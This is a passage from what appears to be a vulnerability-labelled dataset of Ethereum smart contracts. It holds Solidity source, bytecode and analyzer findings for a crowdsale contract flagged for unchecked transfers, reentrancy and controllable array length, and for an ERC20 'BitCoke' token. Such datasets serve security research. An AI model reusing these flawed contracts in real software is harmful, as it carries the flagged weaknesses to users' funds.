owner.transfer(OperationalExpensesAccumulated);
OperationalExpensesAccumulated = 0;
}
/**
* function to withdraw SoftwareProductDevelopment funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawSoftwareProductDevelopment() public onlyOwner {
require (SoftwareProductDevelopmentAccumulated > 0);
owner.transfer(SoftwareProductDevelopmentAccumulated);
SoftwareProductDevelopmentAccumulated = 0;
}
/**
* function to withdraw FoundersTeamAndAdvisors funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawFoundersTeamAndAdvisors() public onlyOwner {
require (FoundersTeamAndAdvisorsAccumulated > 0);
owner.transfer(FoundersTeamAndAdvisorsAccumulated);
FoundersTeamAndAdvisorsAccumulated = 0;
}
/**
* function to withdraw all funds to the owner wallet
* can only be called from owner wallet
**/
function withdrawAllFunds() public onlyOwner {
require (address(this).balance > 0);
owner.transfer(address(this).balance);
}
} | 0x60806040526004361061017f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062739f2a146101ac57806309e419d1146101d95780630c8f167e146101f05780633197cbb61461021b57806334100027146102465780634042b66f1461025d57806345737b1e1461028857806349649fbf146102b557806358c6f08b146102cc57806371445c60146102e357806378e9792514610350578063799c04681461037b57806381f1f92a146103925780638da5cb5b146103a9578063908b8cfc1461040057806392bf2bf1146104175780639908f27214610444578063a8351c0314610500578063bc7c322c14610517578063c8fed3f614610542578063ca69887314610559578063d01f63f514610584578063d0297bc6146105f0578063ec8ac4d81461061d578063ecb70fb714610653578063f2fde38b14610682578063f5235a46146106c5578063f6a60d89146106dc578063f807a98e146106f3578063fc0c546a1461077c575b606061018a336107d3565b90506000815111156101a45761019f336108b7565b6101a9565b600080fd5b50005b3480156101b857600080fd5b506101d760048036038101908080359060200190929190505050610b45565b005b3480156101e557600080fd5b506101ee610baa565b005b3480156101fc57600080fd5b50610205610c8a565b6040518082815260200191505060405180910390f35b34801561022757600080fd5b50610230610c90565b6040518082815260200191505060405180910390f35b34801561025257600080fd5b5061025b610c96565b005b34801561026957600080fd5b50610272610d76565b6040518082815260200191505060405180910390f35b34801561029457600080fd5b506102b360048036038101908080359060200190929190505050610d7c565b005b3480156102c157600080fd5b506102ca610de1565b005b3480156102d857600080fd5b506102e1610ee3565b005b3480156102ef57600080fd5b5061030e6004803603810190808035906020019092919050505061115f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035c57600080fd5b5061036561119d565b6040518082815260200191505060405180910390f35b34801561038757600080fd5b506103906111a3565b005b34801561039e57600080fd5b506103a7611283565b005b3480156103b557600080fd5b506103be611363565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561040c57600080fd5b50610415611388565b005b34801561042357600080fd5b5061044260048036038101908080359060200190929190505050611468565b005b34801561045057600080fd5b50610485600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107d3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c55780820151818401526020810190506104aa565b50505050905090810190601f1680156104f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050c57600080fd5b506105156114cd565b005b34801561052357600080fd5b5061052c611545565b6040518082815260200191505060405180910390f35b34801561054e57600080fd5b5061055761154b565b005b34801561056557600080fd5b5061056e61162b565b6040518082815260200191505060405180910390f35b34801561059057600080fd5b50610599611638565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105dc5780820151818401526020810190506105c1565b505050509050019250505060405180910390f35b3480156105fc57600080fd5b5061061b600480360381019080803590602001909291905050506116c6565b005b610651600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108b7565b005b34801561065f57600080fd5b5061066861172b565b604051808215151515815260200191505060405180910390f35b34801561068e57600080fd5b506106c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611737565b005b3480156106d157600080fd5b506106da61188c565b005b3480156106e857600080fd5b506106f161196c565b005b3480156106ff57600080fd5b5061077a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506119e4565b005b34801561078857600080fd5b50610791611aae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6060601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ab5780601f10610880576101008083540402835291602001916108ab565b820191906000526020600020905b81548152906001019060200180831161088e57829003601f168201915b50505050509050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff16141515156108e057600080fd5b60001515600d60009054906101000a900460ff16151514151561090257600080fd5b61090a611ad4565b151561091557600080fd5b60075460065410151561092757600080fd5b610941662386f26fc1000034611b2890919063ffffffff16565b915061094c82611b43565b905060075461096682600654611d3990919063ffffffff16565b1115151561097357600080fd5b61098834600554611d3990919063ffffffff16565b600581905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a5357600080fd5b505af1158015610a67573d6000803e3d6000fd5b505050506040513d6020811015610a7d57600080fd5b8101908080519060200190929190505050508273ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad183484604051808381526020018281526020019250505060405180910390a3610b3281600654611d3990919063ffffffff16565b600681905550610b40611d57565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba057600080fd5b8060028190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0557600080fd5b6000600f54111515610c1657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600f549081150290604051600060405180830381858888f19350505050158015610c7f573d6000803e3d6000fd5b506000600f81905550565b60065481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf157600080fd5b6000601054111515610d0257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6010549081150290604051600060405180830381858888f19350505050158015610d6b573d6000803e3d6000fd5b506000601081905550565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd757600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3c57600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff1631111515610e6257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610ee0573d6000803e3d6000fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610ffd57600080fd5b505af1158015611011573d6000803e3d6000fd5b505050506040513d602081101561102757600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561112057600080fd5b505af1158015611134573d6000803e3d6000fd5b505050506040513d602081101561114a57600080fd5b81019080805190602001909291905050505050565b601e8181548110151561116e57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111fe57600080fd5b600060115411151561120f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6011549081150290604051600060405180830381858888f19350505050158015611278573d6000803e3d6000fd5b506000601181905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112de57600080fd5b60006014541115156112ef57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6014549081150290604051600060405180830381858888f19350505050158015611358573d6000803e3d6000fd5b506000601481905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113e357600080fd5b60006013541115156113f457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6013549081150290604051600060405180830381858888f1935050505015801561145d573d6000803e3d6000fd5b506000601381905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114c357600080fd5b80600b8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561152857600080fd5b6001600d60006101000a81548160ff021916908315150217905550565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115a657600080fd5b60006012541115156115b757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6012549081150290604051600060405180830381858888f19350505050158015611620573d6000803e3d6000fd5b506000601281905550565b6000601e80549050905090565b6060601e8054806020026020016040519081016040528092919081815260200182805480156116bc57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611672575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172157600080fd5b80600c8190555050565b60006003544211905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117ce57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e757600080fd5b60006015541115156118f857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6015549081150290604051600060405180830381858888f19350505050158015611961573d6000803e3d6000fd5b506000601581905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119c757600080fd5b6000600d60006101000a81548160ff021916908315150217905550565b6000601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905081816000019080519060200190611a3f929190611f68565b506001601e8490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002544210158015611aee57506003544211155b925060003414159150600b543410158015611b0b5750600c543411155b9050828015611b175750815b8015611b205750805b935050505090565b6000808284811515611b3657fe5b0490508091505092915050565b60008060008060025442039250611b666201518084611b2890919063ffffffff16565b915060009050600f821015611bf857611b8a60045486611f2d90919063ffffffff16565b9350611ba160085485611f2d90919063ffffffff16565b9050611bb7606482611b2890919063ffffffff16565b9050611bcc8185611d3990919063ffffffff16565b9350600754611be685600654611d3990919063ffffffff16565b11151515611bf357600080fd5b611d31565b600f8210158015611c095750601e82105b15611c9157611c2360045486611f2d90919063ffffffff16565b9350611c3a60095485611f2d90919063ffffffff16565b9050611c50606482611b2890919063ffffffff16565b9050611c658185611d3990919063ffffffff16565b9350600754611c7f85600654611d3990919063ffffffff16565b11151515611c8c57600080fd5b611d30565b601e8210158015611ca25750602d82105b15611d2a57611cbc60045486611f2d90919063ffffffff16565b9350611cd3600a5485611f2d90919063ffffffff16565b9050611ce9606482611b2890919063ffffffff16565b9050611cfe8185611d3990919063ffffffff16565b9350600754611d1885600654611d3990919063ffffffff16565b11151515611d2557600080fd5b611d2f565b600090505b5b5b505050919050565b6000808284019050838110151515611d4d57fe5b8091505092915050565b6000349050611d98611d876064611d7960165485611f2d90919063ffffffff16565b611b2890919063ffffffff16565b600f54611d3990919063ffffffff16565b600f81905550611dda611dc96064611dbb60175485611f2d90919063ffffffff16565b611b2890919063ffffffff16565b601054611d3990919063ffffffff16565b601081905550611e1c611e0b6064611dfd60185485611f2d90919063ffffffff16565b611b2890919063ffffffff16565b601154611d3990919063ffffffff16565b601181905550611e5e611e4d6064611e3f60195485611f2d90919063ffffffff16565b611b2890919063ffffffff16565b601254611d3990919063ffffffff16565b601281905550611ea0611e8f6064611e81601a5485611f2d90919063ffffffff16565b611b2890919063ffffffff16565b601354611d3990919063ffffffff16565b601381905550611ee2611ed16064611ec3601b5485611f2d90919063ffffffff16565b611b2890919063ffffffff16565b601454611d3990919063ffffffff16565b601481905550611f24611f136064611f05601c5485611f2d90919063ffffffff16565b611b2890919063ffffffff16565b601554611d3990919063ffffffff16565b60158190555050565b6000806000841415611f425760009150611f61565b8284029050828482811515611f5357fe5b04141515611f5d57fe5b8091505b5092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611fa957805160ff1916838001178555611fd7565b82800160010185558215611fd7579182015b82811115611fd6578251825591602001919060010190611fbb565b5b509050611fe49190611fe8565b5090565b61200a91905b80821115612006576000816000905550600101611fee565b5090565b905600a165627a7a723058204fa2c2eac440b3893e154097602ecc884d5c8236209f62cca8ec63d3f144eac30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,931 |
0x832c8b1bf8c89f1f827c2bdee2a951530a4e712f | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public;
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The account whose tokens will be burned.
* @param value uint256 The amount of token to be burned.
*/
function burnFrom(address from, uint256 value) public;
}
contract CokeToken is StandardToken, ERC20Burnable {
string public name = "BitCoke Token";
string public symbol = "COKE";
uint public decimals = 6;
uint public INITIAL_SUPPLY = 1000000000 * (10 ** decimals);
uint256 public totalSupply;
constructor() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
totalSupply = totalSupply.sub(value);
balances[account] = balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burn(from, value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
emit Transfer(from, address(0), value);
}
} | 0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f55780632ff2e9dc1461027a578063313ce567146102a557806342966c68146102d057806366188463146102fd57806370a082311461036257806379cc6790146103b957806395d89b4114610406578063a9059cbb14610496578063d73dd623146104fb578063dd62ed3e14610560575b600080fd5b3480156100e157600080fd5b506100ea6105d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610675565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df610767565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061076d565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610b27565b6040518082815260200191505060405180910390f35b3480156102b157600080fd5b506102ba610b2d565b6040518082815260200191505060405180910390f35b3480156102dc57600080fd5b506102fb60048036038101908080359060200190929190505050610b33565b005b34801561030957600080fd5b50610348600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b40565b604051808215151515815260200191505060405180910390f35b34801561036e57600080fd5b506103a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd1565b6040518082815260200191505060405180910390f35b3480156103c557600080fd5b50610404600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e19565b005b34801561041257600080fd5b5061041b610f9c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045b578082015181840152602081019050610440565b50505050905090810190601f1680156104885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a257600080fd5b506104e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103a565b604051808215151515815260200191505060405180910390f35b34801561050757600080fd5b50610546600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611259565b604051808215151515815260200191505060405180910390f35b34801561056c57600080fd5b506105c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611455565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561066d5780601f106106425761010080835404028352916020019161066d565b820191906000526020600020905b81548152906001019060200180831161065057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60075481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107aa57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107f757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561088257600080fd5b6108d3826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114dc90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610966826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114dc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b60055481565b610b3d3382611513565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c51576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ce5565b610c6483826114dc90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e238282611513565b610eb281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114dc90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600